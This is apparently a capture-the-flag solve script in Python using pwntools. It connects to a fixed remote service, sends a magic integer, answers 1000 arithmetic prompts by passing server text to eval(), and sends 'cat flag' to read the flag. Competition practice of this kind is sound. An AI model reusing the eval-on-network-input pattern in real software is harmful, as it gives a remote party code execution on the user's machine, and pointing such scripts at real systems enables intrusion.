from pwn import *

r = remote("140.110.112.31", 2116)
r.send(p32(127174655))
r.recvuntil('\n')
r.recvuntil('\n')

for i in range(1000):
    r.sendline(str(eval(r.recvuntil('?')[:-3])))

r.recvline()
r.sendline("cat flag")
print(r.recvline())
r.close()